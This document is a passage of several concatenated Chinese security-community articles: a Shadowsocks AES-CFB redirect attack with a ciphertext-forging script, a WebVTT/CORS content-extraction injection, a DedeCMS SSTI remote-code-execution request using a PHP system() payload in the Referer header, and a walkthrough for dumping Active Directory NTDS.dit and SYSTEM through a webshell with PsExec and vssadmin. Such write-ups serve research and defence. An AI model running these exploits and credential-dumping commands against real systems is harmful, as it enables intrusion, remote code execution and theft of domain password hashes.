self._crypto_path)
...
首先生成key,iv, 跟踪进去查看生成方式
def gen_key_iv(password, method):
method = method.lower()
(key_len, iv_len, m) = method_supported[method]
if key_len > 0:
key, _ = EVP_BytesToKey(password, key_len, iv_len)
else:
key = password
iv = random_string(iv_len)
return key, iv, m
可以看到最后使用`EVP_BytesToKey`的方式生成`key`
##### tcp
data = self._cryptor.encrypt(data)
def encrypt(self, buf):
if len(buf) == 0:
return buf
if self.iv_sent:
return self.cipher.encrypt(buf)
else:
self.iv_sent = True
return self.cipher_iv + self.cipher.encrypt(buf)
使用`cipher.encrypt`来加密
跟进去查看`cipher`的初始化
self.cipher = self.get_cipher(
password, method, CIPHER_ENC_ENCRYPTION,
random_string(self._method_info[METHOD_INFO_IV_LEN])
)
调用`get_cipher`来初始化
def get_cipher(self, password, method, op, iv):
password = common.to_bytes(password)
m = self._method_info
if m[METHOD_INFO_KEY_LEN] > 0:
key, _ = EVP_BytesToKey(password,
m[METHOD_INFO_KEY_LEN],
m[METHOD_INFO_IV_LEN])
else:
# key_length == 0 indicates we should use the key directly
key, iv = password, b''
self.key = key
iv = iv[:m[METHOD_INFO_IV_LEN]]
if op == CIPHER_ENC_ENCRYPTION:
# this iv is for cipher not decipher
self.cipher_iv = iv
return m[METHOD_INFO_CRYPTO](method, key, iv, op, self.crypto_path)
可以看到最终也是使用`EVP_BytesToKey`来生成`key`
所以无论`tcp`还是`udp`的加密本质上是一样的, 只是中间调用的方式不同
进入`EVP_BytesToKey`查看
def EVP_BytesToKey(password, key_len, iv_len):
# equivalent to OpenSSL's EVP_BytesToKey() with count 1
# so that we make the same key and iv as nodejs version
cached_key = '%s-%d-%d' % (password, key_len, iv_len)
r = cached_keys.get(cached_key, None)
if r:
return r
m = []
i = 0
while len(b''.join(m)) < (key_len + iv_len):
md5 = hashlib.md5()
data = password
if i > 0:
data = m[i - 1] + password
md5.update(data)
m.append(md5.digest())
i += 1
ms = b''.join(m)
key = ms[:key_len]
iv = ms[key_len:key_len + iv_len]
cached_keys[cached_key] = (key, iv)
return key, iv
其实就是用`passwd`作为种子, 根据`key`的长度来不断哈希来生成真正的`key`
加密完成后发送给服务端
### 收包
和发包相似, 流程大致如下
解密 --> 解析(ip, port等) --> dns查询 --> 创建socket --> ip过滤 --> 修改数据格式 --> 转发
由于`tcp`和`udp`都是一样的, 这里用`udp`来简化研究, 在`117行`, 找到其中主要关注解密部分
data, key, iv = cryptor.decrypt_all(self._password,
self._method,
data, self._crypto_path)
def decrypt_all(password, method, data, crypto_path=None):
result = []
method = method.lower()
(key, iv, m) = gen_key_iv(password, method)
iv = data[:len(iv)]
data = data[len(iv):]
cipher = m(method, key, iv, CIPHER_ENC_DECRYPTION, crypto_path)
result.append(cipher.decrypt_once(data))
return b''.join(result), key, iv
首先根据`password`, 用`gen_key_iv`生成`key`, 和客户端一致
然后`decrypt_all`将`iv`和`data`分离出来(根据`len(iv)`), 然后把data拿去解密
##### 总结
纵观整个流程, 其实通讯设计是比较简单的, 没用常见的`校验`、`签名`等操作
数据结构:`rand_iv + AES-cfb(key, rand_iv, data)`
甚至连`iv`都是直接在数据开头, 全靠用`password`生成的`key`来保证安全
## aes-cfb
### 基本原理
可参考[wiki](https://zh.wikipedia.org/zh-cn/%E5%88%86%E7%BB%84%E5%AF%86%E7%A0%81%E5%B7%A5%E4%BD%9C%E6%A8%A1%E5%BC%8F)
原理图如下:
* 与`aes-cbc`几乎相反 -- 首先进行aes加密, 然后与前一组异或
* `cfb`模式加密解密过程一样, 因为最后一步是异或
实验
#!/usr/bin/python
from Crypto.Cipher import AES
import os
key = os.urandom(16)
iv = os.urandom(16)
pt = b'0'*16
# 加密
cipher = AES.new(key, AES.MODE_CFB, iv, segment_size=128)
tmp = cipher.encrypt(pt)
print(tmp)
# 解密
cipher = AES.new(key, AES.MODE_CFB, iv, segment_size=128)
tmp = cipher.decrypt(pt)
print(tmp)
# b'B\x99\xcf\xde\x97F\x901\xd1\xf2\x02\xba\xaaT\xafI'
# b'B\x99\xcf\xde\x97F\x901\xd1\xf2\x02\xba\xaaT\xafI'
### 伪造
由于最后一步是异或, 那么我们在已知明文、密文且拥有解密权限下的情况下就可以控制明文了
推导如下:
对于第一组密文, 首先对`iv`aes加密, 用作后面异或, 由于其值不变
可视为常量, 记作`K`, 密文记作`ct`, 明文记作`pt`, 需要伪造的明文为`pt'`, 伪造的密文为`ct'`
根据已知
ct = pt xor K
那么在已知`pt`、`ct`的情况下, 可以求得`K`
K = ct xor pt
在已知`K`的情况下,
ct' = pt' xor K
即可伪造
#!/usr/bin/python
from Crypto.Cipher import AES
import os
key = os.urandom(16)
iv = os.urandom(16)
def xor(a,b):
return bytes(x^y for x,y in zip(a,b))
pt = b'0'*16
pt_ = b'1'*16
cipher = AES.new(key, AES.MODE_CFB, iv, segment_size=128)
ct = cipher.encrypt(pt)
K = xor(ct, pt)
print("pt: ", pt)
print("pt_: ",pt_)
print("K : ", K)
print("ct: ", ct)
print("xor(K,pt): ", xor(K,pt))
print("xor(K,ct): ", xor(K,ct))
ct_ = xor(K,pt_)
cipher = AES.new(key, AES.MODE_CFB, iv, segment_size=128)
pt_ = cipher.decrypt(ct_)
print("pt_: ",pt_)
'''
pt: b'0000000000000000'
pt_: b'1111111111111111'
K : b'\x9d\x04(\x07.u\xd8}\xff\xd9S\xb9*\x9e\x181'
ct: b'\xad4\x187\x1eE\xe8M\xcf\xe9c\x89\x1a\xae(\x01'
xor(K,pt): b'\xad4\x187\x1eE\xe8M\xcf\xe9c\x89\x1a\xae(\x01'
xor(K,ct): b'0000000000000000'
pt_: b'1111111111111111'
'''
### 利用
利用条件有两个关键点
* aes-cfb
* 已知明文、密文
由于在`ss`默认的加密方式就是`aes-cfb`,已知密文是自然, 已知明文可以通过`ss`的`http`包来推测
因为所有的`http`包开头的数据都差不多, 前八个字节为`HTTP/1.1`
此[攻击方法](https://github.com/edwardz246003/shadowsocks)最早由奇虎360一位安全研究员提出
## 复现
### config文件
编辑config文件在`shadowsocks`根目录下, 这里我选择local为20001端口, server为20002端口
{
"server":"127.0.0.1",
"local_port":20001,
"server_port":20002,
"password":"happi0",
"timeout":60,
"method":"aes-256-cfb",
"local_address":"127.0.0.1",
"fast_open":false
}
在`/srv/http`编辑`index.php`文件,内容如下
<?php
echo "flag{cb9cd520a37a9c826841a8bcf3c20351}"
?>
### 本地、代理、服务端搭建
python server.py
python local.py
php -S 0.0.0.0:8008
测试代理是否正常
netstat -antup|grep LIS|grep "2000[12]"
tcp 0 0 127.0.0.1:20001 0.0.0.0:* LISTEN 90020/python
tcp 0 0 127.0.0.1:20002 0.0.0.0:* LISTEN 90021/python
测试http服务是否正常
用浏览器访问`localhost:8080`即可
### 访问测试
curl --socks5 127.0.0.1:20001 10.19.4.171:8080
2021-09-13 03:46:43 INFO connecting 10.19.4.171:8080 from 127.0.0.1:35202
2021-09-13 03:46:43 INFO connecting 10.19.4.171:8080 from 127.0.0.1:33480
flag{cb9cd520a37a9c826841a8bcf3c20351}
由于127.0.0.1在代理的黑名单里,换成局域网地址即可
### 抓包分析
用`wireshark`监听即可
tcp.port == 20001 || tcp.port == 20002
前两次`psh`包握手过程, 不赘述
查看第三次握手包的`data`部分
`0a1304ab 1f90`即`10.19.4.171 8080`
即接下来数据的目的地址
这里把`curl`的请求转发到`local`上
然后`local`将请求加密转发到`server`上
并且长度较为加密前增加了`171-148 == 23 == 16的iv + 7的ipv4转发`
最后`server`收到返回的数据后, 首先加密返回给`local`
`local`解密后返回最初的请求
且长度也是相差16的iv
## 利用
首先把密文给截取下来, 用上文描述的方法, 转发给`server`即可
这里[参考](https://blog.soreatu.com/posts/analyasis-of-shadowsocks-and-related-attack/#wireshark-packets)
#!/usr/bin/python
import socket
import binascii
from Crypto.Util.number import long_to_bytes as lb
c = binascii.unhexlify("212aba32327c579d239a405770677e2ab1ca6f8288b9e59253917216b2034638c622293608b3a1dd843c71cf1fa704b95ee662c65fb14e1fca078643c6efb4f280a447d0493385dbbdf837f98e8b211749e1a738632b18fa2f1bb6a6ab83bb4c96035c611b79e1f36c2155493ddb8e4dc04c84297966959c4a4202c0bf51b1d0dbec1323b10bee1a4e3e3c58e3b8ee7796fdcaad638230fcf09f172e26271e2f0317481bde2cb1580f117a580908fb2ccac2d51a45a2976b56d41f6cca2227b17d76ddeb13390b8ddd3a7d92edada68a542b732c181ce43211e265")
def xor(a, b):
return bytes(x^y for x,y in zip(a,b))
plain = b"HTTP/1."
target = b"\x01" + lb(10) + lb(19) + lb(4) + lb(171) + lb(7777)
z = xor(plain, target)
new_c = c[:16] + xor(z, c[16:16+7]) + b"\x00"*(16-7) + c
s = socket.socket()
s.connect(("127.0.0.1", 20002))
s.send(new_c)
效果如下
### 参考资料
* <https://wonderkun.cc/2020/02/18/shadowsocks%E7%9A%84%E9%80%9A%E4%BF%A1%E5%8E%9F%E7%90%86%E4%BB%A5%E5%8F%8A%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95%E5%88%86%E6%9E%90/>
* <https://blog.soreatu.com/posts/analyasis-of-shadowsocks-and-related-attack/#wireshark-packets>
* <https://www.leadroyal.cn/p/1036/>
* <https://github.com/edwardz246003/shadowsocks>
* <https://github.com/LeadroyaL/ss-redirect-vuln-exp> | 社区文章 |
# 【技术分享】滥用WebVTT和CORS
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<http://blog.k3170makan.com/2016/09/abusing-webvtt-and-cors-for-fun-and.html>
译文仅供参考，具体内容表达以及含义原文为准。
WebVTT是html5开发人员用来显示和提示文本字幕的视频格式。WebVTT的语法非常简单，这点深受浏览器喜爱，因为为了给用户提供最好的体验，浏览器总是希望将复杂的语法结构统一起来。但是，这可能会存在一些问题（下面会做具体分析），而这些问题有可能会被别人利用。本文主要介绍在一些攻击场景下利用WebVTT进行信息提取或实现DOM滥用的方法。
**前言**
* * *
视频标签中可以使用字幕（subtitles）文件,如下所示:
<html>
<video controls="">
<source src="VIDEO SOURCE URL"/>
<track name="subtitles" src="SUBTITLE FILE SOURCE URL" label="English subtitles" kind="subtitles" srclang="en" default="">
</video>
</html>
而WebVTT(字幕)文件需要按照下面的格式组织:
WEBVTT1hh:mm:ss.ttt --> hh:mm:ss.tttSubtitles go here...nhh:mm:ss.ttt --> hh:mm:ss.ttt
More subtitles go here
WebVTT文件仅仅描述了一些关键信息,例如允许对关键信息进行编号，将信息与时间进行关联。此外，需要显示详细的时间戳：(hh)小时,分钟(mm),秒(s)和毫秒(ttt)。根据我对WebVTT语法进行的基本检查,大多数浏览器需要遵守占位符(有效数字)。例如,如果想显示小时，你需要使用两个占位符，而且接下来都要统一。另外，必须指定“–>”表示接下来的是结束时间戳。
**“怪异”的语法**
* * *
WebVTT的语法并不是非常严格的,仔细观察可以发现很多问题。下面列出了在Safari,Chrome和Firefox浏览器上测试后得到的一些经验:
1.WebVTT文件必须以“WEBVTT”开始
2.前几个字节之后的内容不做限制
3.编号提示是可选的,浏览器往往直接将这些关键信息存入数组
4.在指定结束时间戳之前的任何内容都认为是开始时间戳的一部分
5.字幕文件的内容类型不做限制
**提取攻击**
* * *
在对语法模式进行分析之后，我们大致了解了一些信息，接下来让我们看看如何进行滥用。下面是攻击前提:
1.一般情况下，一个存有身份验证内容的服务器只有拥有用户访问权限的登录用户可以访问，攻击者想要提取这些内容的话需要拥有用户访问权限
2.服务器的用户可以在服务器上访问任意页面，而攻击者在一个远程网络上
3.web服务器主机有一个交叉源headers:“Access-Control-Allow-Origin:*”
4.web服务器主机的页面存在注入漏洞，允许攻击者指定页面的前几个字节
上面这些前提是所有想要进行CSRF
（跨站请求伪造）攻击的人想要看到的,在浏览器中滥用相同的机制是CSRF攻击的常用手段，使用CSRF可以绕过用户访问控制，在不需要拥有用户访问权限的情况下就能获取远程主机上的内容。攻击者可以在指定页面的前几个字节中注入JavaScript,JSON或任意内容的恶意代码。下面是一种使用WebVTT提取远程主机信息的方法。
**直接提取攻击**
* * *
这个攻击的基本想法是，攻击者劫持远程主机的指定页面，注入一段代码，当远程主机上的用户点击该页面时，该页面被解析为一个WebVTT页面,然后利用这个WebVTT页面进行信息提取，下面是一个demo：
<html>
<video controls="">
<source src="http://extract.me/secretsauce?injection=WEBVTT%0a%0a00:00:00.000%20-->00:00:00.500%0a%0a"/>
<track name="subtitles" src="test.vtt" label="English subtitles" kind="subtitles" srclang="en" default="">
</video>
</html>
触发器(如上所示)是这样的:
injection=WEBVTT%0a%0a00:00:00.000%20–>00:00:00.500%0a%0a
触发之后，会将其插入到远程主机的指定页面的前几个字节，然后迫使它呈现为下面的形式:
WEBVTT
00:00:00.00 --> 00:00:00.500
<html>
...
This is a total secret don't let anyone see this!
接下来，上面的代码会迫使浏览器将其解释为一个有效的WebVTT文件，而HTML的内容是字幕文本。大多数浏览器都有一个javascript
API用来访问实际的文本（由于WebVTT语法对字幕文件的内容类型不做限制，所以可以在字幕文件中添加精心组织的代码，从而用来获取Web服务器上的内容）,下面是一个提取第一个关键文本的demo:
document.querySelector("video").textTracks[0].cues[0].text
根据这种方式就可以不断地提取目标主机上的指定内容了。
下面是我使用这个技巧对HTTP头进行注入的屏幕截图（涉及的浏览器是Safari和Firefox）:
**参考文献**
* * *
<https://w3c.github.io/webvtt/>
<https://developer.mozilla.org/en/docs/Web/API/Web_Video_Text_Tracks_Format>
<https://en.wikipedia.org/wiki/WebVTT>
<https://www.w3.org/TR/webvtt1/>
<http://www.html5rocks.com/en/tutorials/track/basics/>
[http://html5doctor.com/video-subtitling-and-webvtt](http://html5doctor.com/video-subtitling-and-webvtt/) | 社区文章 |
### 影响范围
DedeCMS v5.8.1 beta 1
### 漏洞类型
SSTI RCE
### 利用条件
影响范围应用
### 漏洞概述
2021年9月30日，国外安全研究人员Steven
Seeley披露了最新的DedeCMS版本中存在的一处SQL注入漏洞以及一处SSTI导致的RCE漏洞，由于SQL注入漏洞利用条件极为苛刻，故这里只对该SSTI注入漏洞进行简要分析复现
### 漏洞复现
#### 环境搭建
这里使用phpstudy来搭建环境
网站前台：<http://192.168.59.1/index.php?upcache=1>
网站后台： <http://192.168.59.1/dede/login.php?gotopa>...
#### 漏洞利用
GET /plus/flink.php?dopost=save HTTP/1.1
Host: 192.168.59.1
Referer: <?php "system"(whoami);die;/*
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=rh4vs9n0m1ihpuguuok4oinerr; _csrf_name_26859a31=736abb4d994bae3b85bba1781e8a50f9; _csrf_name_26859a31__ckMd5=0f32d9d2b18e1390
Connection: close
类似的URL还有：
/plus/flink.php?dopost=save
/plus/users_products.php?oid=1337
/plus/download.php?aid=1337
/plus/showphoto.php?aid=1337
/plus/users-do.php?fmdo=sendMail
/plus/posttocar.php?id=1337
/plus/recommend.php
### 漏洞分析
漏洞入口位于plus/flink.php文件中，在该文件中如果我们传入的dopost值为save且未传递验证码时，紧接着会去调用ShowMsg函数：
之后跟踪进入到include/common.func.php文件中的ShowMsg()函数内
/**
* 短消息函数,可以在某个动作处理后友好的提示信息
*
* @param string $msg 消息提示信息
* @param string $gourl 跳转地址
* @param int $onlymsg 仅显示信息
* @param int $limittime 限制时间
* @return void
*/
function ShowMsg($msg, $gourl, $onlymsg = 0, $limittime = 0)
{
if (empty($GLOBALS['cfg_plus_dir'])) {
$GLOBALS['cfg_plus_dir'] = '..';
}
if ($gourl == -1) {
$gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
if ($gourl == "") {
$gourl = -1;
}
}
$htmlhead = "
<html>\r\n<head>\r\n<title>DedeCMS提示信息</title>\r\n
<meta http-equiv=\"Content-Type\" content=\"text/html; charset={dede:global.cfg_soft_lang/}\" />
<meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no\">
<meta name=\"renderer\" content=\"webkit\">
<meta http-equiv=\"Cache-Control\" content=\"no-siteapp\" />
<link rel=\"stylesheet\" type=\"text/css\" href=\"{dede:global.cfg_assets_dir/}/pkg/uikit/css/uikit.min.css\" />
<link rel=\"stylesheet\" type=\"text/css\" href=\"{dede:global.cfg_assets_dir/}/css/manage.dede.css\">
<base target='_self'/>
</head>
<body>
" . (isset($GLOBALS['ucsynlogin']) ? $GLOBALS['ucsynlogin'] : '') . "
<center style=\"width:450px\" class=\"uk-container\">
<div class=\"uk-card uk-card-small uk-card-default\" style=\"margin-top: 50px;\">
<div class=\"uk-card-header\" style=\"height:20px\">DedeCMS 提示信息！</div>
<script>\r\n";
$htmlfoot = "
</script>
</center>
<script src=\"{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit.min.js\"></script>
<script src=\"{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit-icons.min.js\"></script>
</body>\r\n</html>\r\n";
$litime = ($limittime == 0 ? 1000 : $limittime);
$func = '';
if ($gourl == '-1') {
if ($limittime == 0) {
$litime = 3000;
}
$gourl = "javascript:history.go(-1);";
}
if ($gourl == '' || $onlymsg == 1) {
$msg = "<script>alert(\"" . str_replace("\"", "“", $msg) . "\");</script>";
} else {
//当网址为:close::objname 时, 关闭父框架的id=objname元素
if (preg_match('/close::/', $gourl)) {
$tgobj = trim(preg_replace('/close::/', '', $gourl));
$gourl = 'javascript:;';
$func .= "window.parent.document.getElementById('{$tgobj}').style.display='none';\r\n";
}
$func .= "var pgo=0;
function JumpUrl(){
if(pgo==0){ location='$gourl'; pgo=1; }
}\r\n";
$rmsg = $func;
$rmsg .= "document.write(\"<div style='height:130px;font-size:10pt;background:#ffffff'><br />\");\r\n";
$rmsg .= "document.write(\"" . str_replace("\"", "“", $msg) . "\");\r\n";
$rmsg .= "document.write(\"";
if ($onlymsg == 0) {
if ($gourl != 'javascript:;' && $gourl != '') {
$rmsg .= "<br /><a href='{$gourl}'>如果你的浏览器没反应，请点击这里...</a>";
$rmsg .= "<br/></div>\");\r\n";
$rmsg .= "setTimeout('JumpUrl()',$litime);";
} else {
$rmsg .= "<br/></div>\");\r\n";
}
} else {
$rmsg .= "<br/><br/></div>\");\r\n";
}
$msg = $htmlhead . $rmsg . $htmlfoot;
}
$tpl = new DedeTemplate();
$tpl->LoadString($msg);
$tpl->Display();
}
在这里我们可以看到如果$gourl被设置为-1(间接可控)，则攻击者可以通过HTTP_REFERER控制$gourl处变量的值，而该变量未经过滤直接赋值给变量$gourl，之后经过一系列的操作之后将$gourl与html代码拼接处理后转而调用$tpl->LoadString进行页面渲染操作，之后跟进LoadString可以看到此处的sourceString变量直接由$str赋值过来，该变量攻击者可控，之后将其进行一次md5计算，然后设置缓存文件和缓存配置文件名，缓存文件位于data\tplcache目录，之后调用ParserTemplate对文件进行解析：
ParserTemplate如下：
/**
* 解析模板
*
* @access public
* @return void
*/
public function ParseTemplate()
{
if ($this->makeLoop > 5) {
return;
}
$this->count = -1;
$this->cTags = array();
$this->isParse = true;
$sPos = 0;
$ePos = 0;
$tagStartWord = $this->tagStartWord;
$fullTagEndWord = $this->fullTagEndWord;
$sTagEndWord = $this->sTagEndWord;
$tagEndWord = $this->tagEndWord;
$startWordLen = strlen($tagStartWord);
$sourceLen = strlen($this->sourceString);
if ($sourceLen <= ($startWordLen + 3)) {
return;
}
$cAtt = new TagAttributeParse();
$cAtt->CharToLow = true;
//遍历模板字符串，请取标记及其属性信息
$t = 0;
$preTag = '';
$tswLen = strlen($tagStartWord);
@$cAtt->cAttributes->items = array();
for ($i = 0; $i < $sourceLen; $i++) {
$ttagName = '';
//如果不进行此判断，将无法识别相连的两个标记
if ($i - 1 >= 0) {
$ss = $i - 1;
} else {
$ss = 0;
}
$tagPos = strpos($this->sourceString, $tagStartWord, $ss);
//判断后面是否还有模板标记
if ($tagPos == 0 && ($sourceLen - $i < $tswLen
|| substr($this->sourceString, $i, $tswLen) != $tagStartWord)
) {
$tagPos = -1;
break;
}
//获取TAG基本信息
for ($j = $tagPos + $startWordLen; $j < $tagPos + $startWordLen + $this->tagMaxLen; $j++) {
if (preg_match("/[ >\/\r\n\t\}\.]/", $this->sourceString[$j])) {
break;
} else {
$ttagName .= $this->sourceString[$j];
}
}
if ($ttagName != '') {
$i = $tagPos + $startWordLen;
$endPos = -1;
//判断 '/}' '{tag:下一标记开始' '{/tag:标记结束' 谁最靠近
$fullTagEndWordThis = $fullTagEndWord . $ttagName . $tagEndWord;
$e1 = strpos($this->sourceString, $sTagEndWord, $i);
$e2 = strpos($this->sourceString, $tagStartWord, $i);
$e3 = strpos($this->sourceString, $fullTagEndWordThis, $i);
$e1 = trim($e1);
$e2 = trim($e2);
$e3 = trim($e3);
$e1 = ($e1 == '' ? '-1' : $e1);
$e2 = ($e2 == '' ? '-1' : $e2);
$e3 = ($e3 == '' ? '-1' : $e3);
if ($e3 == -1) {
//不存在'{/tag:标记'
$endPos = $e1;
$elen = $endPos + strlen($sTagEndWord);
} else if ($e1 == -1) {
//不存在 '/}'
$endPos = $e3;
$elen = $endPos + strlen($fullTagEndWordThis);
}
//同时存在 '/}' 和 '{/tag:标记'
else {
//如果 '/}' 比 '{tag:'、'{/tag:标记' 都要靠近，则认为结束标志是 '/}'，否则结束标志为 '{/tag:标记'
if ($e1 < $e2 && $e1 < $e3) {
$endPos = $e1;
$elen = $endPos + strlen($sTagEndWord);
} else {
$endPos = $e3;
$elen = $endPos + strlen($fullTagEndWordThis);
}
}
//如果找不到结束标记，则认为这个标记存在错误
if ($endPos == -1) {
echo "Tpl Character postion $tagPos, '$ttagName' Error！<br />\r\n";
break;
}
$i = $elen;
//分析所找到的标记位置等信息
$attStr = '';
$innerText = '';
$startInner = 0;
for ($j = $tagPos + $startWordLen; $j < $endPos; $j++) {
if ($startInner == 0) {
if ($this->sourceString[$j] == $tagEndWord) {
$startInner = 1;
continue;
} else {
$attStr .= $this->sourceString[$j];
}
} else {
$innerText .= $this->sourceString[$j];
}
}
$ttagName = strtolower($ttagName);
//if、php标记，把整个属性串视为属性
if (preg_match("/^if[0-9]{0,}$/", $ttagName)) {
$cAtt->cAttributes = new TagAttribute();
$cAtt->cAttributes->count = 2;
$cAtt->cAttributes->items['tagname'] = $ttagName;
$cAtt->cAttributes->items['condition'] = preg_replace("/^if[0-9]{0,}[\r\n\t ]/", "", $attStr);
$innerText = preg_replace("/\{else\}/i", '<' . "?php\r\n}\r\nelse{\r\n" . '?' . '>', $innerText);
} else if ($ttagName == 'php') {
$cAtt->cAttributes = new TagAttribute();
$cAtt->cAttributes->count = 2;
$cAtt->cAttributes->items['tagname'] = $ttagName;
$cAtt->cAttributes->items['code'] = '<' . "?php\r\n" . trim(
preg_replace(
"/^php[0-9]{0,}[\r\n\t ]/",
"", $attStr
)
) . "\r\n?" . '>';
} else {
//普通标记，解释属性
$cAtt->SetSource($attStr);
}
$this->count++;
$cTag = new Tag();
$cTag->tagName = $ttagName;
$cTag->startPos = $tagPos;
$cTag->endPos = $i;
$cTag->cAtt = $cAtt->cAttributes;
$cTag->isCompiler = false;
$cTag->tagID = $this->count;
$cTag->innerText = $innerText;
$this->cTags[$this->count] = $cTag;
} else {
$i = $tagPos + $startWordLen;
break;
}
} //结束遍历模板字符串
if ($this->count > -1 && $this->isCompiler) {
$this->CompilerAll();
}
}
之后返回上一级，在这里会紧接着调用Display函数对解析结果进行展示，在这里会调用WriteCache函数
在WriteCache函数中写入缓存文件：
在这里使用GetResult返回值sourceString来设置$result变量，该变量包含攻击者控制的输入数据：
之后调用CheckDisabledFunctions函数进行检查操作，该函数主要用于检查是否存在被禁止的函数，然后通过token_get_all_nl函数获取输入，然而处理时并没有过滤双引号，存在被绕过的风险，攻击者可以通过将恶意PHP写到临时文件，之后在Display函数处通过include
$tpl->CacheFile()将恶意临时文件包含进来从而实现远程代码执行：
### 安全建议
目前官方已发布最新版本:DedeCMS V5.7.80 UTF-8正式版，建议升级到该版本 | 社区文章 |
原文：
<https://mannulinux.blogspot.com/2018/12/remotely-dump-active-directory-domain.html>
大家好，本文我想给大家分享一些关于“Windows活动目录(AD)”环境相关的内容。我会给大家演示如何只使用webshell来dump
Windows活动目录用户数据库。
在渗透测试期间，通常会有这样的情况，渗透测试员拿到了域管理员的用户凭证，并且获得了其中一台主机的webshell，而这台主机连接到了Windows活动目录林。渗透测试员尝试得到反向shell，但是因为某些原因一直拿不下(比如说有网络防火墙做了策略)，但是渗透测试员的目的是dump
AD用户数据库，也就是AD环境下的用户和NTLM密码哈希值。
在测试期间我也遇到过相同的问题(没有公网IP服务器)，于是我对这个问题进行了一番研究，并找到了一种办法来解决上述问题，实现了在拿到AD域管理员后，只是用webshell来dump用户名和NTLM密码哈希值。
假如现在环境如下：
* AD域控主机(queen.DC1.indishell.lab-192.168.56.200)
* 被入侵的Windows主机-连接到AD(LABONE-192.168.56.101)
* 成功获得WindowsAD域admin用户(可以使用任何exp，这里我使用的是经典的MS14-025来获得域管理员用户名和密码的)
现在我已经获得了Windows主机的webshell，该主机连接到域，也就是LABONE，IP地址是192.168.56.101，我获得的用户名是“user1”，密码是“ica_1046”。
在这个例子中，我会用到两个二进制文件：
1. Psexec.exe->Windows内网工具
2. Vssadmin->用户创建/删除Windows驱动器卷影副本的命令
不管怎样，如果我们能够在AD域控主机上执行“vssadmin”命令，这条命令会生成“C”盘的卷影副本，从卷影副本中，我们可以复制AD域控主机上的“ntds.dit”和“SYSTEM”文件。
为了完成上面提到的任务，我们将会用到“psexec.exe”，这个可执行文件能够在远程Windows主机上执行命令，只要我们指定目标主机IP地址，域管理员用户名和密码，并且加上“elevated”参数(指定-h)。我们需要通过webshell来上传psexec.exe文件到Windows主机LABONE上。通过webshell，我们将指定AD域控主机IP地址，域管理员用户名和密码以及“vssadmin”命令。这个psexec会远程在Windows
AD域控上执行vssadmin命令。在创建了C盘的卷影拷贝之后，我们就需要从该主机的卷影拷贝中复制“ntds.dit”和“SYSTEM”文件了，也就是我们拿到webshell的Windows域主机LABONE。这个任务也可以通过psexec来完成，我们只需要指定目标AD域控主机IP，域管理员用户名和密码以及copy命令，我们在其中指定“copy
command, please copy the ndts.dit and SYSTEM file from shadow copy to LABONE
machine using
SMB(复制命令，请使用SMB复制LABONE主机卷影拷贝中的ntds.dit文件和SYSTEM文件)”。我会将文件复制到LABONE主机中psexec文件所在的目录。
使用psexec在远程主机上执行命令的常用命令：
psexec.exe \\remote_IP -u user_name -p password_of_the_user -h cmd /c "command_which_we_want_to_execute"<br />
在我的案例中，信息如下：
* 远程主机IP：192.168.56.200(queen.DC1.indishell.lab)
* user_name：user1
* password_of_the_user：ica_1046
我get了Windows域主机LABONE的webshell，并且在该服务器中上传psexec文件：
首先，我检查一下该主机上是否有可用的C盘的卷影拷贝，列出可用卷影拷贝的命令如下：
vssadmin list shadows
不过，这里的webshell无法显示psexec在远程主机上执行命令的所有输出结果，所以我会重定向输出结果到其他地方。这里我将结果重定向到了目录“C:\xampp\htdocs\box\ps”中。
执行这个任务的命令是：
PsExec.exe \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "vssadmin list shadows > \\192.168.56.101\C$\xampp\htdocs\box\ps\out.txt"
Webshell显示psexec正在Windows
AD域控主机上执行命令。如果一切顺利的话，我们会在“C:\xampp\htdocs\box\ps”目录中得到一个名为out.txt的文件，文件中的内容是“vssadmin
list shadows”命令的执行结果，也就是刚才在AD域控主机上执行的命令。
现在我们来查看下out.txt文件的内容：
内容显示，目标域控主机现在还没有C盘的卷影拷贝。
那我们就来创建C盘的卷影拷贝，这样我们就可以从中窃取ntds.dit文件和SYSTEM文件了。
创建C盘卷影拷贝的命令如下：
vssadmin create shadow /for=C:
有个很重要的一点我们需要记住的是，那就是新创建的C盘卷影拷贝的名字，它会显示在命令的输出结果中，所以我们将要上面那条命令的输出结果重定向到我们已经get到webshell的主机上。
想要复制目标主机的ntds.dit文件和SYSTEM文件，我们要知道卷影拷贝的名字，最终的命令如下：
PsExec.exe \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "vssadmin create shadow /for=C: >
在上面的命令中，psexec在Windows
AD域控主机上执行命令来创建C盘的卷影拷贝，并且重定向输出结果到主机LABONE下的“C\xampp\htdoc\box\ps\out.txt”文件中。
Out.txt文件中的内容会告诉我们卷影拷贝的位置：
在上面的截图中，我们可以看到，卷影拷贝名字是`\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\`
一般，ntds.dit文件和SYSTEM文件的位置如下：
* "shadow_copy_volume_name\Windows\NTDS\NTDS.dit"
* "shadow_copy_volume_name\Windows\System32\config\SYSTEM"
在我的例子中，这两个文件的位置也就是：
* \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\NTDS\NTDS.dit
* \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\System32\config\SYSTEM
接着，我们使用下列命令来复制目标Windows AD域控上的ntds.dit文件和SYSTEM文件：
PsExec.exe \\192.168.56.200 -u user1 -p ica_1046 -h cmd /c "copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\NTDS\NTDS.dit \\192.168.56.101\C$\xampp\htdocs\box\ps\"
这条命令将会从IP为192.168.56.200的远程主机上复制ntds.dit文件到IP为192.168.56.101的LABONE主机的“C\xampp\htdocs\box\ps\”目录中。
并且会在webshell中显示“1 file has been copied from target DC machine to my
machine（一个文件已经从目标域控主机复制到我的主机中）”。我们来确认下目录“C:\xampp\htdocs\box\ps\”下是否存在ntds.dit文件。
